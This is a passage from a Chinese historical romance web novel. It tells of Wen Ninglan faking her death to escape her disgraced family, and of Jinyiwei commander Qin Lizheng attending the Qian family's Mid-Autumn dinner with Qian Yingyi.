钱映仪打小就有心疼人的本事,可不大明白爱一个人是什么感觉。乞巧夜的那句喜欢,是她情难自抑下的肺腑之言,可攀至顶峰的情绪褪去,依旧是她被秦离铮爱着。 直到发觉自己被欺瞒,一时间酸楚与疼痛蔓延至心头,她心里终于芜杂得不是滋味,一面想狠咬牙关就此断开,一面又陷在里面拔不出脚。 再到今日解开心结,钱映仪终于明白了这种感觉。她自枕上翻了个身,盯着眼前被那个小小的窝,仿佛真能看见一汪泉水。 而她小小的心呀,又该如何诉说呢?——大约就像那些只有她能瞧见的水泡,咕噜噜往上冒着,戳破一个,是心扑通直跳的声音,再戳破一个,又是她爬满高兴的笑音。 翌日艳阳高照,不算燥热,是个难能舒爽的好日子。闹市喧阗,百姓们得知温家的处置,个个拍手叫好,有的嗟叹一声,说不至于牵连妻儿,没说两句话就被一席话给怼了回去: “为官者,更应洁身自好,官家子弟,更应时常警醒自身,站在百姓头上圈禁幼童,享着百姓交纳的赋税,却与匪勾结 ,哪一点冤枉了温家?皇上亲自定的罪,还能有错?” 这话传进锦衣卫的诏狱里,由褚之言带给行刑前的温涧舟。 褚之言的目色里带着冷,把手反剪在身后,淡道:“温大人,您也是由百姓一步步爬上来,倘或您好好做着吏部侍郎,不一味纵容妻儿,何至于此?” 温涧舟腕上悬着镣铐,神色爬满悲戚与悔恨,张了张嘴,像是要为自己辩解,却又不知从哪说起。 大约知道再无回转的余地,他在这时蓦然又想起温宁岚母亲的好,当年若没有她,他或许与这十几二十年的富贵沾不上边。 他移目扫过温太太同温辛妍,她们正举着一双盛满恨意的眼睛盯着自己,旋即是同样戴着镣铐、神色却十分平静的温宁岚。 温涧舟在她的眼眉里捉住亡妻的影子,他淹灭的良心此刻又从他身体里钻出来一点,默然片刻,他开口,嗓音枯哑至极,“能不能放了我的小女儿?” 温宁岚早在昨夜便已知晓秦离铮的安排,她始终垂着眼,闻言瞳眸轻颤,心底没来由生出一股怒意。 再抬眼时,眼中蓄着冷冰冰的泪,“温涧舟,我不需要你求情,你敢做,又为何不敢当?我只替我娘觉得不值,好端端地,嫁给你这么个没担当没大丈夫行径的男人!” 温宁岚上前两步,挣开锦衣卫的阻拦,骂道:“自打我娘离世后,你可有管过我?你放任你的继室同那对龙凤胎一起欺负我,可曾向他们问责过半句?倘或你不是落得如今的下场,你会想起我来?” 她的眸色不经意冷厉起来,“实则你就是个自私自利的小人,少在这最后的关头装模作样了,我真替我娘不值,当初爱上你这么个人!” “你快十年都不曾管我,现下犯事了,皇上要你流放,我凭什么我凭什么跟着你走”她渐渐把眼色投向温太太与温辛妍,扯出个嘲讽的笑,语调蓦然变得很轻,“她们跟着你吃香的喝辣的,日子过得比谁都舒坦,这罪也该她们来受。” “你这样的人,轻易被些巧言令色蒙住头,不要再说什么替我求情的话,我听着恶心。” 她的指尖不知何时藏匿了一粒黑漆漆的药丸,在温涧舟尚未做出反应的那一刹那,一仰头便咽了下去。 药力迅猛,下一刻,温宁岚整个人都开始打颤,脱力倒在地上,唇间渐渐溢出一丝刺目的鲜血,慢慢延绵至温涧舟的眼前。 温涧舟目色震惊,张了张嘴,下意识开口,语气不知是悲是悔,“岚岚” 褚之言泠然旁观半晌,喉间牵出一抹叹息,“温三小姐倒死得痛快,既死了,也不必赶着一具冷冰冰的尸体上路,来人,把温三小姐的尸身带下去。” 锦衣卫们动作很快,待地上只剩血迹,褚之言便俯身往椅上坐,淡道:“时辰已到,行刑吧,温大人,待会出去,可得再撑着一口气,过了正阳门,多的是百姓等着瞧呢。” 旋即诏狱里尖叫四起,温太太同温辛妍止不住地求情,温涧舟起初吃疼嚷着,后来渐渐也分不出多余的力气叫唤了。 褚之言从容看他行过刑,起身垂眼盯着他,低声道:“上路吧,温大人,您当年的考卷,可是先皇亲口夸赞过的,您倘或堂堂正正,未必不能走到内阁,事已至此,说这些也再无用,最后还称您一声温大人,请吧。” 温涧舟疼到浑身的骨头都在打颤,歪着脸最后望了眼地上那抹碾进尘埃里的血迹,嘴唇轻翕,到底是什么也没再说出口,木然由锦衣卫把自己架了起来。 至于温太太与温辛妍,早已情绪太激动而再度晕厥过去。 暮色苍茫,烧成火红的晚霞映射在渡口,照得江面十分绚烂。 早已换过一身行头的温宁岚兜着帷帽,孤身一人立在渡口,目光扫过忙碌的船工与几艘正要靠岸的船。 看着看着,她因吞过假药而稍显苍白的脸有几分动容,不知是因温涧舟死了,还是因自己往后要一人浪迹天涯。 静站片刻,身后隐隐响起车轴声。温宁岚转身凝望着马车上下来两道身影,各自抱着包袱跑向自己,她动容的神色倏然收敛,旋即绽开一个释然的笑,也跟着往前奔了几步。 钱映仪同晏秋雁气吁吁赶至她身前,尚未开口,便先一把将她给揽紧了。 一个哭道:“岚岚岚岚我舍不得你。” 一个抽噎着道:“岚岚,我思来想去,这一路上少不得要使银子,你日后就只有一个人,一定要好好的,倘或有那个可能,时常寄些信来,待来日我回京师,你若能来,就来寻我,好不好?” 温宁岚笑出眼泪,紧紧回抱两人,哽咽的嗓音却一惯温柔,“该叫我宁风啦。” “温宁岚已经死了。” 她噙着丝释然的笑,两只手的指头同时擦着两人腮畔的泪,“别哭,别哭,你们想叫我一路都哭着走吗?” 这时候秦离铮赶过来,递上个锦盒,“宁风,这里头有温涧舟一半的家产,这一半,是属于你娘的,还有一封和离书,温涧舟在不知情的情况下摁了手印,从今往后,带着你娘的那一份,好好活下去,你们总还有见面的那日。” 宁风一怔,噙着泪点点头,端端正正向秦离铮福身言谢。 江面轻荡,接宁风的船已靠岸,她深深吸气,再度回抱钱映仪同晏秋雁,带着几分笃定的语气,道:“我们还会再见的,如今我已经是宁风,也不再受欺压和拘束,天高海阔,我会去一一瞧尽,说好了,别哭,嗯?” 旋即闭了闭眼,狠咬牙关回身上了船,隔着小半截距离遥望二人,挥了挥手,“回去吧!” 直至那艘船渐渐凝成一个细小的黑点,钱映仪方收回目光,不舍转身,拿胳膊撞一撞还在抽噎的晏秋雁,“雁雁,别哭了,岚阿风去瞧外头的世界了,咱们该替她高兴才是。” 晏秋雁细细啜泣着,把下颌轻点,勉强挤出个笑,望一眼钱映仪同秦离铮,道:“得亏叫上我了,否则,我还要被蒙在鼓里,若不知情以为她死了,我还不知道得哭成啥样。” 钱映仪跟着笑一笑,揽起她的臂弯往马车那头走,“不说这个,咱们知道她日后会好好的就行,我送你回去。” 于是这辆不起眼的马车往渡口打了个转,约莫大半个时辰的功夫,又将晏秋雁送回了家。 目送她进了晏宅,钱映仪撂下靛青色的帘子,深深吐气。秦离铮钻进马车坐着,知晓她也强撑着,便掏出帕子揩拭她眼梢的湿润。 钱映仪默然半日,掀眼瞧他,小声问,“你给她的那些,是背着人去做的,是不是?” 夜已黑漆漆的,只有晏宅门前的灯笼映着几缕昏暗的光,透过车帘打在她的脸上,秦离铮凝望着那丝光,没有讲话。 他不讲话,钱映仪愈发笃定,她微张着嘴,又问,“倘或皇上晓得了,会不会怪罪你?” “你说话呀!” 秦离铮笑着摇了摇头,只道:“不是你讲,因为你,我才有了人情味?其实更应该说,因为你,我学会了怎样爱人,这份爱不光只局限在你身上,我想,从前刚进锦衣卫的我,想破脑袋也绝不会想到,有朝一日,我会因为爱上你,而尽可能地去帮一个说起来其实与我毫不相干的人。” 秦离铮往钱映仪身侧靠了靠,握起她的指头揉捏,“你在替我担心?且放下心来,我既敢做,就绝不会让人发现蛛丝马迹。” 钱映仪听得心头倏软,自鼻腔里哼出一声,歪着脸往他肩头靠,一惯嘴硬,“谁说担心你了?” “可不就是你?”秦离铮笑了笑,往她手心亲了下。 钱映仪反抠有些发痒的手心,由那几缕微弱的光照亮脸上的笑颜,“你说得对,我们都学会了如何爱人,那” 她目色里闪过狡黠,歪着脑袋凑近他,十分伶俐地眨眨眼,“明日中秋,你往我家里来,当着爷爷同哥哥、姐姐的面,你也要像现在这样亲昵。” 秦离铮怔然半日,“去你家过中秋?” 钱映仪笑嘻嘻点头,“可不是嘛,如今整个金陵都知道你与我家关系匪浅,与我这个小姐更是有些说不清道不明的,让你孤零零在金陵过中秋,也没个人陪,我们家可做不出这样的事儿,记得叫上褚之言。” 她见他不说话,又把身子吊在他的胳膊上催促,“你到底来不来?” 秦离铮突然有些惶然,明日钱家的中秋家宴,分明还未到来,却令他产生一种错觉——这比第一回杀人时还要紧张。 “说呀!”钱映仪复又催促一声。 秦离铮眸色微闪,抿了抿下唇,一把抱紧了她,“我去。”—— 作者有话说:宁风自由啦~ 映仪和秦离铮也和好啦[害羞] 明天爷爷手持大刀在家坐等(不是《 》 45-50 第46章 月色澄澈,自天边倾斜向淮河,恰如一面白玉镜。两人谈过明日一齐过中秋之事,马车便辗转出了晏家巷口,街市依旧热闹,满街都是兔儿灯,将整座金陵城照得愈发明亮。 钱映仪坐在马车里颇为无趣,撩帘往外窥一窥,心念一转,倏扭头同秦离铮道:“我想去你的宅子里坐坐。” 秦离铮往她腮畔亲了亲,点头应声。 于是绕过淮清桥,过了通济门,马车遂转进天坛街的小道,没几时停在一处黑漆漆的宅门前。 钱映仪捉裙下了马车,睁着双铮亮的眼睛好奇张望,一路跟着秦离铮进了宅子,见偌大的一个宅子里连个洒扫的小厮都没有,颇为错愕。 她一面跟在秦离铮身后走,一面四下睃寻,不一时,目光停在一棵银杏树下。整个宅子冷冷清清,称得上稍显灰暗,偏有一架缠满花枝的绚目秋千。 “你什么时候做的?”钱映仪轻轻攫紧裙边,缓缓停步,撩起眼皮瞧他。 “就这几日,”秦离铮懒洋洋往一块假石上倚,抱臂凝望过来,幽暗的眼里被月色照出一点光,目光精准攫住了钱映仪,“我猜不准你先前是什么意思,空闲下来正是白日,又不敢去找你,只能待在这儿做这个。” 钱映仪撇撇嘴,自鼻腔里软软哼出一声,走去秋千旁伏腰窥一窥,见十分干净,便在秋千上坐了下来,两条胳膊圈住绳,姿态慵懒,“你过来,站那么远做什么,咱们说说话。” 秦离铮干脆走到她身后要推她,却被她启唇制止,旋即道:“哎呀,你坐下,我有话问你呢。” 他只好坐在她身侧一张矮矮圆圆的石杌上。 月色与鲜花交织,称一句花前月下也不过分。钱映仪稍稍歪着脑袋,盯着他的脸看了半晌,却问了个稍显沉重的问题,“阿铮,销声匿迹的那几年,你去哪里了呢?” 秦离铮眼眸微颤,抬脸回望着她,声音很轻,“当年为了避祸,我爹欲把我送去边境,我那时少年心性,一心只想替哥哥报仇,逃来了金陵。” “但在见到瑞王时,我又改变了主意,”他笑了笑,“只是我同家里的护卫走丢了,自己独身前往边境时,遇上了我师傅。” “师傅?”钱映仪讶然。 秦离铮朝她展开双臂,“让我抱一抱。” 钱映仪抿着唇,还是踮脚拦停晃动的秋千,起身往他身前站定,由他双臂揽紧自己的腰。 “你从前不是远远见过我一面?”秦离铮把脸凑在她稍软的小腹前轻蹭,手指掣着她腰后一截衣料揉捻,“我家没遭遇变故时,我与京师那些官家子弟没有什么区别,成日走鸡斗狗,行事甚至称得上恶劣,功夫嘛,自然也远不如现在。” “我遇见师傅时,他已至垂暮之年,我想,大约他也是哪个江湖门派的高手,他的一生经历过什么,我不知道,我只知道他将我掳走,教我武功,教我杀人,自那以后,我就与他一起在山野里活着,直到他去世,我替他处理过后事,这才下山往京师赶。” 说到此节,秦离铮温热的手掌贴紧钱映仪的背,把她拉得离自己更近,嗓音里坠着一丝沉重,“为了进锦衣卫,我回过一次家,我爹娘” 他顿了顿,垂下轻颤的睫毛,半晌才道:“我爹娘当真以为我也死了,早已不复从前模样,为了报仇,我只能忍着悲痛又离开家,从力士到校尉,到总旗、千户、指挥同知、指挥使,我靠踩着别人上位,说不麻木是假的。” 大约是话题太沉重,秦离铮有心扯出一抹笑,仰脸望向钱映仪,半开玩笑道:“我的事,三言两语交待不清,你要细细追问,我怕你心疼起来又哭,说点高兴的,你可知我同你哥哥是因为什么才闹出矛盾的?” 钱映仪听了半晌,心底生出对瑞王无耻行径的忿然,又生出许许多多的酸涩,为他,也为他身后的秦家,更为已离世的秦离然,总之情绪芜杂得难以言说。 她这时也才恍然明白,原来他是在山野里待了最漫长的那几年,难怪他做起木匠的活计来如此顺手。 听他有心撇开这些不谈,钱映仪扇一扇睫毛,卷走洇出眼眶的湿润,伏腰往他腿上坐,脑袋依偎在他的颈侧,声音很轻,“你说。” 秦离铮双臂圈着她,佯装夸张之状,“那日正是你哥哥初进翰林院任编修,你知道的,我哥哥是上一任编修,为着这个,我刻意下值后绕路去了翰林院,只是单纯想看一眼你哥哥是什么模样。” “你哥哥火急火燎出来,无半分端正之态,只顾着闷着头往前冲,这一下就与我撞上,我原本也没当一回事,谁知他补服上沾了我身上的狗毛。” “那补服崭新一件,做工细腻,狗毛沾了不少在他身前的补子上,一时半会清理不干净,我听与他同行的翰林官员说,他那时正要去见皇上。” 秦离铮笑,“大约是这个缘故,他有些恨上我耽误了他办事,与我说话的语气便没那么好,我那时心里想着哥哥,心境也没现下这样平稳,我便也回呛他两句。” “一来二去,梁子就这样结下,每每打照面,我嘲他人模狗样,他骂我鹰犬之流。” 钱映仪鲜少听秦离铮一口气说这样多的话,她搂着他的腰,歪着脑袋想了想,果真“噗嗤”一声笑出来。 想及那“狗毛”,她又从他颈侧抬起狐疑的眼,“对啊,我怎的把这事给忘了,你当日便是因一条狗与人在街上互殴,你喜欢狗的,是不是?” 秦离铮在她的注视下抖着肩笑,“它叫松松,如今年岁也大了,我把它养在京师的家中,知道你怕狗,老早我便把它托付给了褚之言。” 钱映仪诧异稍刻,方朝他投去一记算你懂事的眼神,“人家也不是那么不近人情的,你同松松松定然感情深重,我再怕,也不能叫你们从此以后就不见了,嗯叫我想想,我依稀记得,是条白色的卷毛小狗,是不是?” “它性情很温顺,”见她略有松动,秦离铮道:“待回了京师,我牵着你远远先看一眼它,好不好?” 钱映仪抿着唇,忖度片刻就点了头。 见说到京师,她便自他怀里抬起腰身,整个人都端正起来,“我知道,你不想与我说这些沉重的东西,但有一事我还是想说,这么多年过去,你想爹娘是不是想疯了?待回京师,我同你一起去见他们。” 她满脑子的心思又打了个转,问,“你可有抓住瑞王什么把柄?” 秦离铮把下颌轻点,“梁途是瑞王当年的谋士。” “他?”钱映仪惊呼,片刻又恍然,“难怪我说你怎的突然寻着一家这样的糖水铺,说起来,自打那日溪溪在温家闹过一场,我再没见过她呢!” 钱映仪一惯聪慧,眼珠子里悬着点光,某个念头飘过去,便被她一把擒住,忙问,“那日动静闹得这么大,温家又被处置了,你的身份也暴露了,瑞王那头岂不是知道些什么?你要梁途替你作证是不是?瑞王可会痛下杀手?” 话音甫落,她便一个猛子自他怀里蹦出来,一把掣紧他的胳膊往外走,“哎呀,你还有心思同我在这说话,你赶紧去瞧一瞧梁途” 秦离铮忍俊不禁,忙把她拉回身前,“别跑,别跑,我命手下看着那头呢。” 他把她的急切尽收眼底,没忍住往她唇畔轻啄一下,解释道:“瑞王是知道了我的存在,他这人谨慎,不会轻易有动作的,梁途还活着这件事,他暂时还不知情,我已让手下把梁途和溪溪护送去了安全的地方。” 见钱映仪仰脸盯着自己的神情有些发蒙,秦离铮忍着笑,一把揽紧她,两片稍薄的嘴唇贴近她的肩,自喉间牵出一缕叹息,“不说这个,映仪,怎么办?我好紧张。” 钱 映仪悬在他胸前的眼睛轻眨,“嗯?紧张?” 秦离铮低低应声,“明日见到你爷爷,我会紧张。” 钱映仪霎时回神,明白爷爷向来不喜欢什么兵马司、锦衣卫这等满是酷吏的官署,尤其先前秦离铮还蛰伏在家里 她窃窃笑了两声,两条胳膊攀着他的腰,指尖游去他的腰侧,坏心眼地用力一拧,“你也有怕的时候?” 。 “嘶”腰间一记疼痛令钱林野回神,他正抱着团姐儿,腰身不由地往上一提,扭头望向坐在帐子里的任郁青,“青青,你掐我做什么?” 任郁青淡乜他一眼,“我同你说话呢,你记着没?虽说你与那秦指挥有些旧怨,可妹妹喜欢他,他这回又救了你的团姐儿,你再不高兴,也不许给我板着脸,明不明白?” 提起此事钱林野仍旧如鲠在喉,宽厚的手掌擎着团姐儿小小的身子轻晃,恨咬牙关,“临去扬州前,我托妹夫替我防着,没想到千防万防,最该防的是妹妹!” 他说话时语气不怎么好,团姐儿似有所感,掀眼把他瞄了瞄,又淡然阖上白嫩的眼皮,好似忽视了爹的忿然。 见吵醒团姐儿,钱林野垂了视线盯着她,复又想起任郁青生产时的惊险,大约是这个缘故,他略作收敛,撇着唇应声,“晓得了,我不寻他的麻烦就是。” 豆花时节明月高悬,清风吹起桂花香,园子里除去丫鬟小厮们的欢声笑语,还杂糅着簌簌风声,灯火闪烁,恰是人间团圆夜。 秦离铮与褚之言提着节礼登门时,正好撞上小玳瑁。 少年引着两人往正厅去,忿忿然开口:“早知你是这么大的官,我头先就该多跟在你身后跑,说出去多有面儿啊,我与皇上身边的锦衣卫指挥使共事过。” 褚之言没忍住吭笑两声,朝小玳瑁暗味一笑,“听闻你要成婚了?京师锦衣卫嘛,是远了点,金陵不还有个锦衣卫营?倘或你想,瞧你这身段与脚下生风的气势,也是能进的。” 小玳瑁本见秦离铮摇身一变成了锦衣卫指挥使,还有些局促。 这一下又放松不少,他如从前那样去勾秦离铮的肩,声音放低,“嗳,别怪我没提醒你,老太爷今日晨起时脸色就算不得好,你注意些。” 秦离铮自打进府就始终沉默着,闻声神色微动,见已行至正厅外,便向小玳瑁打一拱手,“多谢。” 旋即与褚之言一并进了正厅。 甫一掀眼,便见钱兰亭端坐上座,压着唇角,面上无甚情绪。 许珺同钱佑年坐在他左手边,一干小辈坐在右手边,如此情形,不像邀人赴中秋家宴,倒像阖家等着兴师问罪。 说来很是奇怪,团姐儿正在小木床里躺着哩,不知是闻见了褚之言身上的气味,还是旁的缘故,咿咿呀呀就伸着手胡乱摆动。 这一动静把褚之言拉回神,忙俯身作揖,“钱老,钱大人,钱二太太。” 秦离铮立在原地静静等了一会,没等到钱兰亭质问自己,便也跟着一弯腰身,沉声道:“钱老。” 钱兰亭拇指在椅上摩挲,目中凝着一点冷冰冰的情绪,审视秦离铮片刻,便哼出一声笑,“老头子年纪大了,眼神不好,竟不知堂堂锦衣卫指挥使在家里待了大半年,秦指挥,你好大的能耐啊。” “我自知做下错事,因此,今日上门虽为赴宴,却也是赔罪,”秦离铮腰身益发往下弯折,“还请钱老原宥。” 钱兰亭端着茶盏冷笑了一声,正要再说,不防厅内蓦然想起钱映仪那把细细的声线,她咳了两声,一连迭拿眼嗔钱兰亭。 钱兰亭暗暗回瞪她,到底没再说什么,转眼把秦离铮淡然打量,再开口时,嗓音倏缓和不少,“行了,你也说是赴宴,你拐走了我的宝贝孙女儿,我本该把你赶出去,不巧你又救了我的重孙女儿,赶不赶的,我不说话了,你还有什么要赔罪的,待回了京师,同映仪她爹娘说去吧。” “哼。”钱林野听了这话,瘪唇冷笑一声。 许珺一惯会瞧脸色,忙拿胳膊肘拐钱佑年。 钱佑年难能归家一次,现下都还有些发蒙,被许珺狠狠一拐,忙不迭地起身笑,“正是,正是,今日一家人吃饭,要高高兴兴才是,请坐,请坐。” “哎呀,团姐儿睁着眼睛盯着人瞧呢哩,”许珺笑吟吟抚掌,一径行至小床前,把团姐儿给抱出来,歪着脸琢磨她的神情,“团姐儿,团姐儿,你在瞧什么呢?” 团姐儿哪能说话。她虽提前出来见了人世,却没像其他婴儿那般带有弱症,一连养上半个月,脸上隐约可见肥软的肉。 她嘴边挂着口水,咿咿呀呀不知叫唤什么,一双葡萄似的眼珠子发现褚之言的身影,脸上便绽开一个笑。 “”钱林野面色益发不好,暗暗握拳,心里没来由牵出两分委屈,起身欲去接团姐儿,“姑娘,来,爹抱你。” 谁知团姐儿在他怀里胡乱踹了两脚,嘴一瘪就要哭。 任郁青本不好出来见人,为着褚之言登门,还是裹得严严实实出了院子,她握着帕子笑了两声,冷不丁提议道:“官人,把团姐儿交给褚大人吧,我想,她是要褚大人抱。” 钱林野脸一沉,望向团姐儿,“不让爹抱?” 团姐儿却忽视了他的争风吃醋,眼巴巴把褚之言看着。 “要不,我就抱一下,”褚之言也不知团姐儿竟这般亲近自己,顶着钱林野那记要把自己生吞活剥了的眼神,发讪笑了两声,作势就抬起了两条胳膊,“我瞧瞧。” 钱林野往一旁让开,正要开口拒绝,偏巧团姐儿“哇”地一声哭出来。 钱玉幸看不过去,眼皮子往上翻了翻,径自起身往他怀里抱过团姐儿,旋即送去褚之言怀里,“褚大人,你可得抱稳了。” “哎哎”褚之言满口应下,小心翼翼擎着团姐儿的身子,稍显生涩晃了晃她,团姐儿渐渐便收了哭,眼睛一眨不眨盯着他瞧,乐得褚之言绽开个笑,“还真是要我抱!” 余骋同钱玉幸没有孩儿,这段时日他虽也预备着往苏州府去,却也没忘学一学照料孩儿的法子,这时候便也觉得稀奇,跟着笑一笑,“哟,还真是,团姐儿不会说话,模样倒是做得真真的,都说孩童三岁前没什么记忆,我瞧着,倒像是记得谁救了她。” 褚之言抱过一阵,两条胳膊便有些僵硬,一股力蓄在胳膊上,上不去也下不来,实在太过小心翼翼。 瞥见他为难站在原地,任郁青不由地淌出个温婉的笑,目色往秦离铮打了 个转,倏道:“指挥,你也抱一抱吧,团姐儿的救命之恩,也有你的份。” 秦离铮本是悄然同钱映仪站在众人身后,闻听任郁青要自己抱那小小一团,忽然有些慌张,神情无措了一瞬,旋即展开双臂去接。 接到自己怀里,凑巧钱映仪笑嘻嘻过来逗弄,“团姐儿,我是谁呀?是姑妈,姑妈在你跟前站着呢!” 秦离铮怀里抱着新生命,一时也生涩不已,只能由团姐儿纯净的眼神盯着自己,用她的柔软浸染着他早已渐渐打开的心扉。 这时候瞥见钱映仪歪着脑袋凑近,秦离铮心里对“家”的渴望霎时如春草疯长,这令他产生一种错觉——好似她在自称姑妈,那他自己便担当起了姑父的角色。 秦离铮怔然片刻,又被钱映仪的笑颜惊醒,他心里好似掀起过一片海啸,却静静的,没表达出来。 俄延半晌,钱林野终于受不了自己女儿被来回抱,扭扭捏捏把团姐儿给要了回去。 年纪最小的钱其羽在一旁暗窥,倏然一语道破钱林野是在吃醋,众人才笑作一团,先前那股仿佛是要拿人问罪的气势渐渐就淡了下去。 没几时,席面铺开。任郁青在桌下轻掣钱林野的手,夫妻两个便起身朝向褚之言与秦离铮,以温茶待酒,端正谢过二人的救命之恩。 温茶入喉,令任郁青的嗓音清亮不少,她抬着眼笑说道:“爷爷,二叔,二婶,您三位长辈都在,今日我有一事要说。” 说这话时,她眼风复又往团姐儿身上转了一圈,再飘回来,便接着道:“我与官人商量过了,倘或那日没有褚大人在,我兴许早已撑不到回城生产,是个一尸两命的结局,因此,我们想让团姐儿认褚大人为干爹” 她大大方方望向褚之言,“褚大人还年轻,家中没有妻室吧?不知介不介意多个干女儿?” 钱林野一眼扫过来,虽两个都看不顺眼,可不妨碍他也是大丈夫行径,该谢则谢,于是也端正起来,俯身向二人作揖,言谢之意十分真诚。 许珺赞同把下颌轻点,语气里透着玩笑,“说起来我当时都怕得要死,早知会发生那样的事,我就不该劝你们去温家,认干爹?这不正好嘛,我瞧着团姐儿十分喜欢褚大人。” “这如何使得?”褚之言受宠若惊,下意识转眼去瞧团姐儿,见她小小一个躺在木床里,回想方才抱她时心底塌陷一块的滋味,再想拒绝也说不出话来,只迟疑问,“真的?” 任郁青舒展出个笑,“再真不过了。” 褚之言当下十分高兴,一连迭替自己斟酒去敬她与钱林野,喝过几个来回,他撩袍坐下,顺势还拿臂膀撞一撞秦离铮,低声道:“指挥,我有干女儿了。” 秦离铮哑然,淡然瞥他一眼,又收回目光。钱兰亭这头正暗自审视他,不防冷不丁问,“皇上命你来查贪官,是打算一网打尽后一齐押回京师审问?” “是,”秦离铮忙道:“皇上的意思,在此事上,要给京师、金陵、乃至十三省一记忠告,即便要杀,也是把人凑齐了再杀。” 钱兰亭半阖着眼,沉思片刻,往椅上一靠,由灯火把他稍显苍老的面容映得晦暗莫测,“先前我就觉得燕榆不对劲,不曾想他们这几个在应天府府署当官的,胆子竟大到如此地步” 因听钱映仪说过些外头的事,钱兰亭想及那范宝珠与燕如衡,心内如明镜,又道:“我说范大人怎么突然就病痛全消,燕榆被罢官,手却还伸到了工部,生怕自己贪得不够,我先前替范大人管过造船的事宜,这两人倘或成了姻亲,要贪,我猜就是贪那造船的桐油。” 钱佑年心一惊,握着箸儿抬头,“天老爷,爹,使不得啊,桐油用作工程收尾,且不说一趟下来能贪去多少,这可是十艘巨船,待到年关,整个江南的物资都在上头,倘或一个不慎船身进水导致船沉,皇上追责起来,死了燕榆一个倒还好说,怕就怕引起江南这头的百姓起义。” “这也正是我担心的,”钱兰亭沉声道:“整个江南掌握朝廷大半数经济,上至绫罗绸缎,下至棉花谷物,绕来绕去,避不开“百姓”二字,没有百姓便没有这些,倘或晓得是因一个“贪”字而致使一整年的辛苦劳作沉进运河里,百姓动起怒来,可不好收场了。” 谈及此事,桌上渐渐岑寂下来,余骋与钱林野的神色不必说,便连钱玉幸与任郁青都严肃得紧。 这世上从未少过贪官,可贪成这样,接近丧心病狂的,他们还是头一回见。 钱兰亭瞥着秦离铮,倏问,“凡事讲究一个证据,只单凭温家那十几万两银子,要彻底将燕蔺一党定罪,怕还有些难,你还在等什么?” 秦离铮替钱映仪舀了碗嫩豆腐羹,旋即答道:“不瞒您说,我一直在查一个人的账册,可惜对方藏得太严实,时至近日,锦衣卫才把那账本寻到。” 他把裴骥捡出来细细说了一遍,又道:“裴骥现下还不知账册已被我掉包,有了这账册,燕蔺一党通过王弋在递运所的关系走私物资倒卖一事就成了实打实的,燕榆这头还想与范大人再贪一笔,我想,不如来个瓮中捉鳖,届时证据齐全,即便他们长了三头六臂,也再难逃出诏狱。” “擒了他们,底下的官员便可逼供出来,届时彻底收网,我便亲自押解他们回京师。” 说话时,钱映仪脸埋在碗里,一只手却绕去桌下勾秦离铮的指尖,勾了几下就被他不动声色摁在腿上,她没忍住,窃窃笑了两声,笑这种捉弄,只叫自己与他知道。 秦离铮面上仍旧十分端正,接着道:“总之,皇上那头换了魏大人任应天府府尹一职,这招定会激得燕榆有所动作,只需静候他动手了。” 钱兰亭忖度半晌,点点头,没再讲话。 反倒许珺四下睃巡一眼,笑叹,“哎唷,好端端的家宴呢,说什么公事,要说待席散了去书房说,先紧着把饭吃了,别等菜给吹凉了。” 如此又推杯换盏,钱林野到底没寻秦离铮的麻烦,只时常睁着铮亮的眼睛照着秦离铮,目色隐含警告。 钱其羽却十分激动,一想到自己未来的姐夫是锦衣卫指挥使,他便高兴得要命,兴冲冲喝了不少酒,连带着秦离铮也小酌几杯,眼睑下浮着一抹淡不可见的红。 席散时,钱兰亭掐一掐稍显疲倦的额心,没再说什么,只摆摆手让几个小辈自己耍。 经此一番,钱家上下谁不知钱映仪同秦离铮彼此互通心意? 于是任郁青拉着钱林野,带着团姐儿回了自己的院落。 钱玉幸挽着余骋的臂弯,眼睛往上瞧,嘀咕说要赏一赏金陵的月亮。 至于钱其羽,自然是被许珺夫妻连拉带拽转去了大花园里。 褚之言更是乐得沉浸在做了干爹的喜悦里,摆一摆手,就自顾离去,说是去淮河两岸的金铺里转一转,替团姐儿打个挂在脖子上的璎珞。 花前月下,秦离铮歪脸凝望钱映仪,把眉轻挑,“不早了,我得回去。” 钱映仪四下张望片刻,悄悄去勾他的指尖,裙摆旋出一片花海,转到他身前,仰脸盯着他,半晌,语出惊人,“你不想同我一起睡了?” 秦离铮稍有惊愕,被她暗味又晶莹的眼神勾出沸腾的血液,很快复又冷静下来,笑把一条胳膊送去,“只能委屈你先枕一枕这个呢,我若留下,前脚刚进你的云滕阁,后脚你哥哥就得提剑闯进来。” “那就不要叫他发现好了,”钱映仪仗着四周无人,心底那股要往隐秘靠的欲/望冒了个尖,含混着口齿道:“换个地方或许” 她未把话挑明,人也站在原地不动,只拿眼神小幅度地侵略他,目光里游着一丝晦暗难明的东西,游过他的鼻梁,嘴唇,脖子,腰身 秦离铮被她勾住的指尖霎时反握住她,带着丝恶趣味,稍稍俯身在她耳畔,嗓音低得仿佛要拉着她往海里坠,“一个人跟着我走,你就不怕?” 钱映仪笑,“你在说什么?你那房间不是很多?” “行,”秦离铮也跟着她笑,往她耳畔里送了几句话,旋即便站直腰身道:“天色渐晚,我明日再来寻你,我去同长辈们告辞。” 钱映仪把下颌轻点,往袖管子里抽出条帕子,站在原地朝他摆一摆手,“那明日再见。” 又怎会真的到明日呢?这头秦离铮出了钱宅,靠在墙根下静等约莫大半个时辰,旋即一个翻身又跃进去,熟门熟路避开所有人,直奔云滕阁正屋的西墙去。 再出来时,怀里多了道身影。 一径飞檐走壁到了正阳门这头的宅子里,钱映仪才长舒出一口气,揽着他的腰惊呼,“我飞起来了。” 秦离铮笑得连胸膛都在振,拉着她转进自己歇息的寝屋,一连迭点燃几个银釭,把先前备好的锦盒都拾到她面前,“打开瞧瞧。” 钱映仪狐疑嘀咕两句,手下动作却没停,打开一瞧,却是两眼泛着光,“好漂亮的珍珠!” “算是送给你的中秋节礼,”秦离铮笑,“喜欢吗?” 钱映仪一双亮晶晶的眼睛没从这些珍珠上挪走,止不住地点头,“喜欢喜欢” 话音甫落 ,她似有所感,后知后觉撩着眼皮觑他,琢磨出味儿来,“好啊,你算准了我会同你说要过来?” 秦离铮懒洋洋拿胳膊支着脑袋,凝视着她,“你晓得了,那现在是走,还是留?” 钱映仪嗔他两眼,把锦盒盖起来推去一旁,环扫他的寝屋,榻上是靛青色的帐子,陈设简单,只一张书案,一张八宝柜,一架山水屏风,一套四方桌椅,并着几株开得正好的薄荷叶。 其实在来之前,她满心都有些激动,浑身有股热气直往外冒,这时候真到了他的屋子里,倏地又扭捏起来。 于是便垂下眼,两个指头绕着打转,小声道:“我我光坐着等你去了,还没沐浴呢” 秦离铮掩不住唇畔的笑,一面把下颌轻点,一面起身往八宝柜那头走,翻出一套干净带着皂膏香气的寝衣递与她,道:“我去备水。” 